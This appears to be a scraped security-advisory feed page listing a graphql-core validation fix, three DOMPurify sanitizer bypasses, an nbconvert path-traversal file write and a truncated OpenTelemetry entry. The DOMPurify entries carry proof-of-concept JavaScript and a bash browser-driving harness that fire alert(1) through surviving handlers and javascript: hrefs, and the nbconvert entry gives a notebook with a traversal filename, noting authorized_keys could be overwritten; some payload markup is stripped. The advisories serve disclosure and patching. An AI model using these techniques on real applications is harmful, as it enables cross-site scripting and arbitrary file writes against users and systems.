Fixed in **3.2.12** and **3.3.0rc1**.

Validation now enforces a per-document comparison budget. Once
`MAX_FIELD_COMPARISONS` (default `250_000`) pairwise comparisons have been made, the
rule aborts and reports a `GraphQLError` instead of running to completion:

> Query is too complex to validate for overlapping fields: exceeded 250000 field
> comparisons. Validation was aborted.

The default is far above what any realistic query reaches. It is a module-level
constant and can be raised or lowered:

```python
from graphql.validation.rules import overlapping_fields_can_be_merged

overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000
```

Note the behaviour change: a pathological query that previously validated — slowly —
now produces a validation error.

### Workarounds

If you cannot upgrade, reject oversized documents before they reach `validate()`.
Note that a request body-size limit must be applied to the **decompressed** body to be
effective here, since the payload is highly compressible. Removing
`OverlappingFieldsCanBeMergedRule` from the rule set is *not* a safe workaround: it is
a correctness rule required by the specification.

A body-size limit remains worthwhile after upgrading — the comparison budget bounds
this specific rule, not overall request cost.

### Credits

Reported by @BZHunt, who also reviewed the fixes
before release. In memory of ZaX, who was the driving force behind this discovery.

Independently found and diagnosed by @bcmyguest, who
also proposed a fix.

Affected package ranges reported by GitHub:
graphql-core: >= 3.0.0, < 3.2.12
graphql-core: >= 3.3.0a1, < 3.3.0rc1
Action: GitHub lists first patched versions: graphql-core: 3.2.12; graphql-core: 3.3.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes
https://kevwire.com/record/GHSA-cg2g-xh64-v4q7
DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes (Oct 22, 2026).
When DOMPurify is configured with `SAFE_FOR_TEMPLATES: true` together with a DOM-returning mode (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`), template expressions such as `{{...}}`, `${...}`, and ` ` survive sanitization inside the text content of an attached shadow root. The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:1717`) was extended to recurse into ` .content`, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the `IN_PLACE` and shadow-aware `RETURN_DOM` surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.

`SAFE_FOR_TEMPLATES` neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (`_stripTemplateExpressions`, applied in `_sanitizeElements` at `src/purify.ts:2246`), and a final post-walk pass (`_scrubTemplateExpressions`, `src/purify.ts:1717`) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-cg2g-xh64-v4q7).
Sources:
GitHub-reviewed advisory GHSA-cg2g-xh64-v4q7: https://github.com/advisories/GHSA-cg2g-xh64-v4q7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
## Summary

When DOMPurify is configured with `SAFE_FOR_TEMPLATES: true` together with a DOM-returning mode (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`), template expressions such as `{{...}}`, `${...}`, and ` ` survive sanitization inside the text content of an attached shadow root. The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:1717`) was extended to recurse into ` .content`, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the `IN_PLACE` and shadow-aware `RETURN_DOM` surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.

## Root Cause

`SAFE_FOR_TEMPLATES` neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (`_stripTemplateExpressions`, applied in `_sanitizeElements` at `src/purify.ts:2246`), and a final post-walk pass (`_scrubTemplateExpressions`, `src/purify.ts:1717`) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.

```text
_scrubTemplateExpressions (src/purify.ts:1717-1751):
 - node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).
 - NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).
 - Explicit recursion at lines 1743-1750 enters .content only, via
 querySelectorAll('template'); there is no equivalent recursion into attached
 shadow roots.
Shadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which
applies the per-node strip but never performs the post-walk normalize-and-rescrub.
```

Shadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.

## Impact

An attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable `SAFE_FOR_TEMPLATES` and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with `attachShadow`: in engines that support declarative shadow DOM, attacker-supplied markup containing ` ` parsed through `setHTMLUnsafe` or `Document.parseHTMLUnsafe` produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.

## Proof of Concept

```text
Preconditions:
 - DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).
 - A browser (or DOM implementation) with shadow DOM support.
 - Application constructs a DOM node with an attached shadow root before sanitizing,
 and later evaluates the shadow root's text content as a template.
```

Build a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with `SAFE_FOR_TEMPLATES`:

```javascript
const host = document.createElement('div');
const root = host.attachShadow({ mode: 'open' });

// Split "${alert(document.domain)}" so no single fragment matches a regex.
// is not in the default ALLOWED_TAGS and is removed during sanitization,
// leaving the surrounding text-node siblings adjacent.
root.appendChild(document.createTextNode('$'));
root.appendChild(document.createElement('object'));
root.appendChild(document.createTextNode('{alert(document.domain)}'));

DOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// After the disallowed element is removed, the fragments are adjacent and survive.
host.shadowRoot.normalize();
console.log(host.shadowRoot.textContent);
```

```text
${alert(document.domain)}
```

A downstream template evaluator reading `shadowRoot.textContent` (for example `new Function('return `' + content + '`')()` or any `${...}`/`{{...}}` engine) then evaluates the fully formed expression.

## Attack Chain

1. **Exposure:** The application calls `DOMPurify.sanitize(node, cfg)` (`src/purify.ts:2854`) with `SAFE_FOR_TEMPLATES: true` and `IN_PLACE: true` (or a shadow-aware `RETURN_DOM`), passing a DOM node that already carries an attached shadow root.
2. **Control:** The attacker controls the shadow root's text nodes and the disallowed separator elements between them; each fragment (`$`, `{alert(document.domain)}`) is a valid, individually benign text node.
3. **Path:** `_sanitizeAttachedShadowRoots` (`src/purify.ts:2977`) feeds the shadow root into `_sanitizeShadowDOM` (`src/purify.ts:2710`), which strips expressions per text node (`src/purify.ts:2246`) and removes the disallowed separator elements, leaving the fragments adjacent.
4. **Guard:** The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:3131-3132`) is the only pass that would catch the merged expression, but it never recurses into shadow roots (`src/purify.ts:1717-1751` recurses into ` .content` only).
5. **Primitive:** The adjacent fragments serialize as a single concatenated string on `shadowRoot.textContent` / `shadowRoot.innerHTML`, 

Affected package ranges reported by GitHub:
dompurify: >= 3.4.4, <= 3.4.16
Action: GitHub lists first patched versions: dompurify: 3.4.17. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)
https://kevwire.com/record/GHSA-mrv2-3pqr-j5jr
DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p) (Oct 22, 2026).
The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an ` ` that was already loading fires after `sanitize()` returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an ` ` that was already loading when you built the live tree cannot fire after `sanitize()` returns." That does not hold when the detached node is not the hook's own node.
CVSS 7.6 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-mrv2-3pqr-j5jr).
Sources:
GitHub-reviewed advisory GHSA-mrv2-3pqr-j5jr: https://github.com/advisories/GHSA-mrv2-3pqr-j5jr
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
### Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an ` ` that was already loading fires after `sanitize()` returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an ` ` that was already loading when you built the live tree cannot fire after `sanitize()` returns." That does not hold when the detached node is not the hook's own node.

### Tested versions

- 3.4.16 (latest) and main at 18f8f0e
- also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

### Details

`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:

```js
if (currentNode === root || getParentNode(currentNode) !== null) {
 return false;
}
if (IN_PLACE) {
 _neutralizeSubtree(currentNode);
}
```

It only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

### PoC (jsdom)

```js
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM(' ').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
 const DOMPurify = createDOMPurify(win)
 doc.body.innerHTML = ' ' +
 ' ok

'
 const root = doc.getElementById('root')
 const evil = doc.getElementById('evil')

 // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
 DOMPurify.addHook('afterSanitizeAttributes', (node) => {
 if (node.getAttribute && node.getAttribute('class') === 'bad') {
 if (mode === 'self') node.remove()
 if (mode === 'parent') node.parentNode.remove()
 if (mode === 'nextSibling') node.nextElementSibling.remove()
 }
 })

 DOMPurify.sanitize(root, { IN_PLACE: true })
 console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}
```

Output on 3.4.16:

```
3.4.16 self onerror = null
3.4.16 parent onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"
```

In `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.

### PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

```html

```

Result on 3.4.16:

```
version=3.4.16
self out= ok

parent out= ok

fired=["parent"]
```

The returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.

### Impact

An app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example "drop the whole ` ` if its image is not allowed") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.

### Suggested fix

Instead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:

- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`
- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)

Affected package ranges reported by GitHub:
dompurify: <= 3.4.16
Action: GitHub lists first patched versions: dompurify: 3.4.17. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml
https://kevwire.com/record/GHSA-c6gr-qvv4-5v3f
DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml (Oct 22, 2026).
DOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed ` ` or ` ` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `"attributename"` never matches and the guard does nothing.

An app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep ` `. Clicking the parent link then runs the script.
Sources:
GitHub-reviewed advisory GHSA-c6gr-qvv4-5v3f: https://github.com/advisories/GHSA-c6gr-qvv4-5v3f
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
### Summary

DOMPurify drops `attributeName` attributes whose value contains `href`, so an allowed ` ` or ` ` can't rewrite a link's href after sanitizing. The check compares the attribute name after `transformCaseFunc`, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled `attributeName`, so the comparison with `"attributename"` never matches and the guard does nothing.

An app that uses `PARSER_MEDIA_TYPE: 'application/xhtml+xml'` and allows `animate` and `attributeName` will keep ` `. Clicking the parent link then runs the script.

This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.

### Details

In `_sanitizeAttributes` (dist/purify.js line 2216 in 3.4.16):

```js
const lcName = transformCaseFunc(name);
...
if (lcName === "attributename" && stringMatch(value, "href")) {
 _removeAttribute(name, currentNode, attr);
 continue;
}
```

`transformCaseFunc` is `stringToLowerCase` for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name `attributeName`, so in XHTML mode `lcName` is `attributeName` and the branch never runs.

People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so `ALLOWED_ATTR`/`ADD_ATTR: ['attributeName', ...]` is the config you'd naturally write here.

The value also passes the URI check. `IS_ALLOWED_URI` only checks the start of the string, and `x;javascript:alert(1)` looks like a relative value. SMIL reads `values` as a `;` list and, with `fill="freeze"`, the last entry ends up as the effective href of the parent ` `.

In text/html mode the same allowlist is handled correctly. The name is lowercased and `attributeName` is removed.

This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.

### Proof of concept

Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.

Config:

```js
const cfg = {
 PARSER_MEDIA_TYPE: 'application/xhtml+xml',
 ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
 ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
```

`{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] }` behaves the same.

Input:

```html
 click 
```

Steps:

1. Save this as `poc.xhtml` next to `purify.js` (3.4.16) and open it in Chrome. The `.xhtml` extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.

```html
 poc 

```

2. The logged output still contains `attributeName="href"` and `values="x;javascript:alert(1)"`.
3. `document.getElementById('q').href.animVal` returns `"javascript:alert(1)"`.
4. Click "click" and `alert(1)` runs.

As a control, remove `PARSER_MEDIA_TYPE` and change the allowlist entry to `attributename`. The output then loses `attributeName`, `href.animVal` is `""`, and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.

An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.

 poc.sh 

```bash
#!/usr/bin/env bash
# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"
# config that allow-lists + attributeName, renders the output into
# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
# event and reports whether alert() fired. Also runs the same allowlist in
# text/html mode as a control (DOMPurify strips attributeName there).
#
# usage: ./poc.sh [dompurify-version] (default 3.4.16, fetched via `npm pack`)
# DOMPURIFY_JS=/path/to/purify.js ./poc.sh
# CHROME=/path/to/chrome ./poc.sh
# needs: node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
# exit: 0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT

if [ -z "${DOMPURIFY_JS:-}" ]; then
 (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
 DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
 for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
 "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
 "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
 [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
 done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }

cat > "$WORK/poc.html" poc 

EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"
# Same test inside a real XHTML document (no HTML XHTML context flip):
# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's# poc # poc #' \
 -e 's## #' \
 -e 's#^ $# #' "$WORK/poc.html" > "$WORK/poc.xhtml"

cat > "$WORK/drive.js" {
 buf += d; let i;
 while ((i = buf.indexOf('\0')) >= 0) {
 const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
 if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
 else if (m.method === 'Page.javascriptDialogOpening') {
 dialogs.push(m.params.message);
 send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
 }
 }
});
function send(method, params = {}, sessionId) {
 return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));

Affected package ranges reported by GitHub:
dompurify: <= 3.4.16
Action: GitHub lists first patched versions: dompurify: 3.4.17. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### nbconvert: Arbitrary file write through path traversal in cell output filenames when exporting to md, latex, rst and asciidoc
https://kevwire.com/record/CVE-2026-114140
nbconvert: Arbitrary file write through path traversal in cell output filenames when exporting to md, latex, rst and asciidoc (Oct 22, 2026).
nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.

Vulnerable converters : `--to markdown`, `--to latex`, `--to rst`, `--to asciidoc`.
CVSS 8.8 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114140).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114140&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-pjvx-prjx-h659: https://github.com/advisories/GHSA-pjvx-prjx-h659
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114140: https://nvd.nist.gov/vuln/detail/CVE-2026-114140
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114140&date=2026-10-25
### Summary

nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.

Vulnerable converters : `--to markdown`, `--to latex`, `--to rst`, `--to asciidoc`.

In `ExtractOutputPreprocessor`, `extractoutput.py:116-119` joins attacker-controlled `path` to `output_files_dir` with no canonicalization check, enabling arbitrary file write.

This is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg.

### Impact

If a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys.

Note that running the cell with jupyter overrides the output, so it would "clean up" malicious cells.

### PoC

In a ipynb file:

```json

"cells": [{
 "cell_type": "code", "id": "abc123", "execution_count": 1,
 "metadata": {}, "source": "# PoC",
 "outputs": [{
 "output_type": "display_data",
 "metadata": {
 "filename": "../../../tmp/PWNED.png" # ← traverses outside output_dir
 },
 "data": {
 # minimal valid PNG (1×1 pixel)
 "image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
 }
 }]
 }]

```

### Patches

Fixed in 
- https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f
- [7.17.2](https://github.com/jupyter/nbconvert/releases/tag/v7.17.2)

Affected package ranges reported by GitHub:
nbconvert: >= 5.4.0, <= 7.17.1
Action: GitHub lists first patched versions: nbconvert: 7.17.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api
https://kevwire.com/record/CVE-2026-114603
